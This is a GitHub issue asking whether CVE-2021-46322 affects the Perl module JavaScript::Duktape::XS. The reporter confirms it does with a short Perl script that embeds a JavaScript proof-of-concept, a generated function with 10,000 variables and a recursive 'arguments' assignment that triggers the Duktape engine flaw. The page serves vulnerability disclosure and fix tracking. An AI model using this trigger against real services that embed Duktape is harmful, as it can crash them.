Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Does CVE-2021-46322 affect this? #33

Open
robrwo opened this issue Jun 24, 2022 · 0 comments · May be fixed by #37
Open

Does CVE-2021-46322 affect this? #33

robrwo opened this issue Jun 24, 2022 · 0 comments · May be fixed by #37

Comments

@robrwo
Copy link

robrwo commented Jun 24, 2022

Does CVE-2021-46322 affect this? See svaarala/duktape#2448 which should affect all v2.2 versions.

I have verified that it does:

use JavaScript::Duktape::XS;

my $js = JavaScript::Duktape::XS->new();

$js->eval( << "POS"
function JSEtest() {
    var src = [];
    var i;

    src.push('(function test() {');
    for (i = 0; i < 1e4; i++) {
        src.push('var x' + i + ' = ' + i + ';');
    }
    src.push('var arguments = test(); return "dummy"; })');
    src = src.join('');

    var f = eval(src)(src);

    try {
        f();
    } catch (e) {
        print(e.name + ': ' + e.message);
    }

    print('still here');
}

try {
    JSEtest();
} catch (e) {
    print(e.stack || e);
}

POS

    );
robrwo added a commit to robrwo/cpan-security-advisory that referenced this issue Jun 24, 2022
I have verified that this is an issue, and created a ticket
gonzus/JavaScript-Duktape-XS#33
@gflohr gflohr linked a pull request Jun 21, 2023 that will close this issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant